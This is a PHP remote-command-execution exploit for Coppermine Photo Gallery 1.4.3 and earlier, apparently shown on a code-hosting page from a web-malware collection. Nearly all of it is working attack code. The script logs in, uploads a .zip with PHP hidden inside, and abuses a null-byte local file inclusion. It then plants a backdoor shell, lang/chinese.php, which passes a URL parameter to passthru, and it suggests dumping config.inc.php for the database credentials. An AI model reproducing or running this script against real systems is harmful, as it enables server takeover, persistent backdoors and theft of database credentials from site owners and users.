PageRenderTime 46ms CodeModel.GetById 15ms RepoModel.GetById 1ms app.codeStats 0ms

/Backdoors/PHP/cpg_143_incl_xpl.php

http://web-malware-collection.googlecode.com/
PHP | 419 lines | 328 code | 14 blank | 77 comment | 33 complexity | 5937b131b67d8e0afdbd589251a5e176 MD5 | raw file
  1. <?php
  2. # ---cpg_143_incl_xpl.php 15.38 04/12/2005 #
  3. # #
  4. # Coppermine Photo Gallery <= 1.4.3 remote commands execution #
  5. # coded by rgod #
  6. # site: http://retrogod.altervista.org #
  7. # #
  8. # -> this works regardless of any php.ini settings, you need a normal user #
  9. # account with upload rights in personal albums and at least one album #
  10. # #
  11. # usage: launch from Apache, fill in requested fields, then go! #
  12. # #
  13. # Sun-Tzu: "The direct and the indirect lead on to each other in turn. It is #
  14. # like moving in a circle--you never come to an end. Who can exhaust the #
  15. # possibilities of their combination?" #
  16. /* a short explaination: arbitrary local inclusion issue in "lang"
  17. argument in init.inc.php , ex.:
  18. http://[target]/[path]/thumbnails.php?lang=../album/userpics/10002/shell.zip%00
  19. (by a null char, regardless of magic_quotes_gpc settings, because of
  20. Coppermine magic quotes disable code)
  21. we need to upload a malicious .zip file with php code inside in a personal
  22. album folder (no check on file contempt) and to include it (cycling inside
  23. folders we will search for it - a subfolder is created in album/userpics/ dir,
  24. it is numbered like this: 10000 + db userid).
  25. We don't see any ouput including it, so the .zip file install a backdoor
  26. called chinese.php inside Coppermine lang/ dir. Modify the .zip file code
  27. if you need. After first run, if succeeded, you can launch commands manually:
  28. http://[target]/[path]/lang/chinese.php?suntzu=netstat%20-ano
  29. however script checks if new "chinese language file" is already installed
  30. */
  31. error_reporting(0);
  32. ini_set("max_execution_time",0);
  33. ini_set("default_socket_timeout",5);
  34. ob_implicit_flush (1);
  35. echo'<html><head><title>**Coppermine Photo Gallery <= 1.4.3 remote cmmnds xctn**
  36. </title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  37. <style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:
  38. #ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
  39. {background-color: #FFFFFF !important} input {background-color: #303030
  40. !important} option { background-color: #303030 !important} textarea
  41. {background-color: #303030 !important} input {color: #1CB081 !important} option
  42. {color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
  43. {background-color: #303030 !important} select {font-weight: normal; color:
  44. #1CB081; background-color: #303030;} body {font-size: 8pt !important;
  45. background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
  46. 0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
  47. !important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
  48. !important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
  49. !important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
  50. normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
  51. { text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
  52. color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
  53. font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
  54. font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
  55. **Coppermine Photo Gallery <= 1.4.3 remote cmmnds xctn** </p><p class="Stile6">a
  56. script by rgod at <a href="http://retrogod.altervista.org"target="_blank">
  57. http://retrogod.altervista.org</a></p><table width="84%"><tr><td width="43%">
  58. <form name="form1" method="post" action="'.$_SERVER[PHP_SELF].'"> <p><input
  59. type="text" name="host"> <span class="Stile5">* target (ex:www.sitename.com)
  60. </span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:
  61. /coppermine/ or just / ) </span></p><p><input type="text" name="cmd"> <span
  62. class="Stile5">* specify a command ("cat ./../include/config.inc.php" to see dat
  63. abase username & password...)</span></p><p><input type="text" name="USER"><span
  64. class="Stile5"> a valid USER with upload rights in personal album folder </span>
  65. </p><p> <input type="text" name="PASS"> <span class="Stile5"> ... and PASSWOR
  66. D, required for STEP 1 and following... </span> </p> <p> <input type="text"
  67. name="port"><span class="Stile5">specify a port other than 80 (default value)
  68. </span></p><p><input type="text" name="proxy"><span class="Stile5">send exploit
  69. through an HTTP proxy (ip:port)</span></p><p> <input type="submit" name="Submit"
  70. value="go!"></p></form></td></tr></table></body></html>';
  71. function show($headeri)
  72. {
  73. $ii=0;$ji=0;$ki=0;$ci=0;
  74. echo '<table border="0"><tr>';
  75. while ($ii <= strlen($headeri)-1){
  76. $datai=dechex(ord($headeri[$ii]));
  77. if ($ji==16) {
  78. $ji=0;
  79. $ci++;
  80. echo "<td>&nbsp;&nbsp;</td>";
  81. for ($li=0; $li<=15; $li++) {
  82. echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
  83. }
  84. $ki=$ki+16;
  85. echo "</tr><tr>";
  86. }
  87. if (strlen($datai)==1) {
  88. echo "<td>0".htmlentities($datai)."</td>";
  89. }
  90. else {
  91. echo "<td>".htmlentities($datai)."</td> ";
  92. }
  93. $ii++;$ji++;
  94. }
  95. for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
  96. echo "<td>&nbsp&nbsp</td>";
  97. }
  98. for ($li=$ci*16; $li<=strlen($headeri); $li++) {
  99. echo "<td>".htmlentities($headeri[$li])."</td>";
  100. }
  101. echo "</tr></table>";
  102. }
  103. $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
  104. function sendpacket() //2x speed
  105. {
  106. global $proxy, $host, $port, $packet, $html, $proxy_regex;
  107. $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  108. if ($socket < 0) {
  109. echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
  110. }
  111. else {
  112. $c = preg_match($proxy_regex,$proxy);
  113. if (!$c) {echo 'Not a valid proxy...';
  114. die;
  115. }
  116. echo "OK.<br>";
  117. echo "Attempting to connect to ".$host." on port ".$port."...<br>";
  118. if ($proxy=='') {
  119. $result = socket_connect($socket, $host, $port);
  120. }
  121. else {
  122. $parts =explode(':',$proxy);
  123. echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
  124. $result = socket_connect($socket, $parts[0],$parts[1]);
  125. }
  126. if ($result < 0) {
  127. echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
  128. }
  129. else {
  130. echo "OK.<br><br>";
  131. $html= '';
  132. socket_write($socket, $packet, strlen($packet));
  133. echo "Reading response:<br>";
  134. while ($out= socket_read($socket, 2048)) {$html.=$out;}
  135. echo nl2br(htmlentities($html));
  136. echo "Closing socket...";
  137. socket_close($socket);
  138. }
  139. }
  140. }
  141. function refresh()
  142. {
  143. flush();
  144. ob_flush();
  145. usleep(5000000000);
  146. }
  147. function sendpacketii($packet)
  148. {
  149. global $proxy, $host, $port, $html, $proxy_regex;
  150. if ($proxy=='') {
  151. $ock=fsockopen(gethostbyname($host),$port);
  152. if (!$ock) {
  153. echo 'No response from '.htmlentities($host); die;
  154. }
  155. }
  156. else {
  157. $c = preg_match($proxy_regex,$proxy);
  158. if (!$c) {
  159. echo 'Not a valid prozy...';die;
  160. }
  161. $parts=explode(':',$proxy);
  162. echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
  163. $ock=fsockopen($parts[0],$parts[1]);
  164. if (!$ock) {
  165. echo 'No response from proxy...';die;
  166. }
  167. }
  168. fputs($ock,$packet);
  169. if ($proxy=='') {
  170. $html='';
  171. while (!feof($ock)) {
  172. $html.=fgets($ock);
  173. }
  174. }
  175. else {
  176. $html='';
  177. while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
  178. $html.=fread($ock,1);
  179. }
  180. }
  181. fclose($ock);echo nl2br(htmlentities($html));
  182. refresh();
  183. }
  184. $host=$_POST[host];$path=$_POST[path];
  185. $port=$_POST[port];$cmd=$_POST[cmd];
  186. $USER=$_POST[USER];$PASS=$_POST[PASS];
  187. $proxy=$_POST[proxy];
  188. echo "<span class=\"Stile5\">";
  189. if (($host<>'') and ($path<>'') and ($cmd<>''))
  190. {
  191. $port=intval(trim($port));
  192. if ($port=='') {$port=80;}
  193. if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
  194. $host=str_replace("\r","",$host);$host=str_replace("\n","",$host);
  195. $path=str_replace("\r","",$path);$path=str_replace("\n","",$path);
  196. if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  197. $cmd=urlencode($cmd);
  198. #STEP 0 -> Check if backdoor already installed...
  199. $packet ="GET ".$p."lang/chinese.php?suntzu=$cmd HTTP/1.1\r\n";
  200. $packet.="Host: $host\r\n";
  201. $packet.="Connection: Close\r\n\r\n";
  202. show($packet);
  203. sendpacketii($packet);
  204. if (eregi("Hi Master!",$html)) {die("chinese.php already installed...<br>
  205. Exploit succeeded...<br>"); }
  206. //if you are here
  207. if (($USER=='') | ($PASS==''))
  208. {die("chinese.php not installed<br>
  209. we need a username and a password<br>");}
  210. }
  211. if (($host<>'') and ($path<>'') and ($cmd<>'') and ($USER<>'') and ($PASS<>''))
  212. {
  213. #STEP 1 -> Login...
  214. $data="username=".urlencode($USER)."&password=".urlencode($PASS)."&submitted=Login";
  215. $packet ="POST ".$p."login.php?referer=index.php HTTP/1.1\r\n";
  216. $packet.="Referer: http://".$host.$path."login.php?referer=index.php\r\n";
  217. $packet.="Host: $host\r\n";
  218. $packet."Accept-Language: en\r\n";
  219. $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
  220. $packet.="Content-Length: ".strlen($data)."\r\n";
  221. $packet.="Connection: Close\r\n";
  222. $packet.="Cache-Control: no-cache\r\n\r\n";
  223. $packet.=$data;
  224. show($packet);
  225. sendpacketii($packet);
  226. $temp=explode("Set-Cookie: ",$html);
  227. $temp2=explode(" ",$temp[1]);
  228. $COOKIE=$temp2[0];
  229. $temp2=explode(" ",$temp[2]);
  230. $COOKIE.=" ".str_replace(";","",$temp2[0]);
  231. $COOKIE=str_replace("\r","",$COOKIE);$COOKIE=str_replace("\n","",$COOKIE);
  232. echo "COOKIE ->".htmlentities($COOKIE)."<BR>";
  233. #STEP 2 -> Upload the malicious zip file...
  234. $data='-----------------------------7d613b1d0448
  235. Content-Disposition: form-data; name="file_upload_array[]"; filename="c:\suntzuuuu.zip"
  236. Content-Type: application/octet-stream
  237. <?php $sun_tzu=fopen("./lang/chinese.php","w");
  238. fputs($sun_tzu,"<?php echo \"Hi Master!\";ini_set(\"max_execution_time\",0);passthru(\$HTTP_GET_VARS[suntzu]);?>");
  239. fclose($sun_tzu); chmod("./lang/chinese.php",777);?>
  240. -----------------------------7d613b1d0448
  241. Content-Disposition: form-data; name="file_upload_array[]"; filename=""
  242. Content-Type: application/octet-stream
  243. -----------------------------7d613b1d0448
  244. Content-Disposition: form-data; name="file_upload_array[]"; filename=""
  245. Content-Type: application/octet-stream
  246. -----------------------------7d613b1d0448
  247. Content-Disposition: form-data; name="file_upload_array[]"; filename=""
  248. Content-Type: application/octet-stream
  249. -----------------------------7d613b1d0448
  250. Content-Disposition: form-data; name="file_upload_array[]"; filename=""
  251. Content-Type: application/octet-stream
  252. -----------------------------7d613b1d0448
  253. Content-Disposition: form-data; name="URI_array[]"
  254. -----------------------------7d613b1d0448
  255. Content-Disposition: form-data; name="URI_array[]"
  256. -----------------------------7d613b1d0448
  257. Content-Disposition: form-data; name="URI_array[]"
  258. -----------------------------7d613b1d0448
  259. Content-Disposition: form-data; name="control"
  260. phase_1
  261. -----------------------------7d613b1d0448--
  262. ';
  263. $packet ="POST ".$p."upload.php HTTP/1.1\r\n";
  264. $packet.="Referer: http://".$host.$path."upload.php\r\n";
  265. $packet.="Accept-Language: en\r\n";
  266. $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d613b1d0448\r\n";
  267. $packet.="Accept-Encoding: gzip, deflate\r\n";
  268. $packet.="Host: ".$host."\r\n";
  269. $packet.="Content-Length: ".strlen($data)."\r\n";
  270. $packet.="Connection: Close\r\n";
  271. $packet.="Cache-Control: no-cache\r\n";
  272. $packet.="Cookie: ".$COOKIE."\r\n\r\n";
  273. $packet.=$data;
  274. show($packet);
  275. sendpacketii($packet);
  276. $temp=explode("unique_ID\" value=\"",$html);
  277. $temp2=explode("\"",$temp[1]);
  278. $UNIQUE_ID=$temp2[0];
  279. echo "UNIQUE ID ->".htmlentities($UNIQUE_ID)."<BR>";
  280. #STEP 3 -> Select an album...
  281. $data='-----------------------------7d6df34d0448
  282. Content-Disposition: form-data; name="unique_ID"
  283. '.$UNIQUE_ID.'
  284. -----------------------------7d6df34d0448
  285. Content-Disposition: form-data; name="control"
  286. phase_2
  287. -----------------------------7d6df34d0448--';
  288. $packet ="POST ".$p."upload.php HTTP/1.1\r\n";
  289. $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
  290. $packet.="Referer: http://".$host.$path."upload.php\r\n";
  291. $packet.="Accept-Language: en\r\n";
  292. $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6df34d0448\r\n";
  293. $packet.="Accept-Encoding: gzip, deflate\r\n";
  294. $packet.="Host: $host\r\n";
  295. $packet.="Content-Length: ".strlen($data)."\r\n";
  296. $packet.="Connection: Close\r\n";
  297. $packet.="Cache-Control: no-cache\r\n";
  298. $packet.="Cookie: ".$COOKIE."\r\n\r\n";
  299. $packet.=$data;
  300. show($packet);
  301. sendpacketii($packet);
  302. show($html);
  303. $junk=chr(0x0a).chr(0x20).chr(0x20).chr(0x20).chr(0x20).
  304. chr(0x20).chr(0x20).chr(0x20).chr(0x20).chr(0x20).
  305. chr(0x20).chr(0x20).chr(0x20).chr(0x20).chr(0x20).
  306. chr(0x20).chr(0x20);
  307. $temp=explode("* Personal albums\">$junk<option value=\"",$html);
  308. $temp2=explode("\"",$temp[1]);
  309. $option=$temp2[0];
  310. if (($option=='') or (strlen($option)>2))
  311. { $option=1;}
  312. echo "ALBUM NUMBER ->".htmlentities($option)."<BR>";
  313. #STEP 4 -> Insert .zip file in a valid album...
  314. $data='-----------------------------7d628b39d0448
  315. Content-Disposition: form-data; name="album"
  316. '.$option.'
  317. -----------------------------7d628b39d0448
  318. Content-Disposition: form-data; name="title"
  319. -----------------------------7d628b39d0448
  320. Content-Disposition: form-data; name="caption"
  321. -----------------------------7d628b39d0448
  322. Content-Disposition: form-data; name="keywords"
  323. -----------------------------7d628b39d0448
  324. Content-Disposition: form-data; name="control"
  325. phase_2
  326. -----------------------------7d628b39d0448
  327. Content-Disposition: form-data; name="unique_ID"
  328. '.$UNIQUE_ID.'
  329. -----------------------------7d628b39d0448--
  330. ';
  331. $packet="POST ".$p."upload.php HTTP/1.1\r\n";
  332. $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
  333. $packet.="Referer: http://".$host.$path."upload.php\r\n";
  334. $packet.="Accept-Language: en\r\n";
  335. $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d628b39d0448\r\n";
  336. $packet.="Accept-Encoding: gzip, deflate\r\n";
  337. $packet.="Host: $host\r\n";
  338. $packet.="Content-Length: ".strlen($data)."\r\n";
  339. $packet.="Connection: Close\r\n";
  340. $packet.="Cache-Control: no-cache\r\n";
  341. $packet.="Cookie: ".$COOKIE."\r\n\r\n";
  342. $packet.=$data;
  343. show($packet);
  344. sendpacketii($packet);
  345. #STEP 5 -> Include the evil .zip file and launch commands...
  346. $anumber=9999;
  347. for ($i=0; $i<=200; $i++)
  348. { $anumber++;
  349. $xpl=urlencode("../albums/userpics/".$anumber."/suntzuuuu.zip".chr(0x00));
  350. $packet ="GET ".$p."thumbnails.php?lang=$xpl HTTP/1.1\r\n";
  351. $packet.="Host: $host\r\n";
  352. $packet.="Connection: Close\r\n\r\n";
  353. show($packet);
  354. sendpacketii($packet);
  355. $packet ="GET ".$p."lang/chinese.php?suntzu=$cmd HTTP/1.1\r\n";
  356. $packet.="Host: $host\r\n";
  357. $packet.="Connection: Close\r\n\r\n";
  358. show($packet);
  359. sendpacketii($packet);
  360. if (eregi("Hi Master!",$html)) {die ("Exploit succeeded...<br>
  361. you have a shell in http://".htmlentities($host.$path)."/lang/chinese.php<br>");}
  362. }
  363. //if you are here...
  364. echo "Exploit failed...";
  365. }
  366. echo "</span>";
  367. ?>
  368. # milw0rm.com [2006-02-17]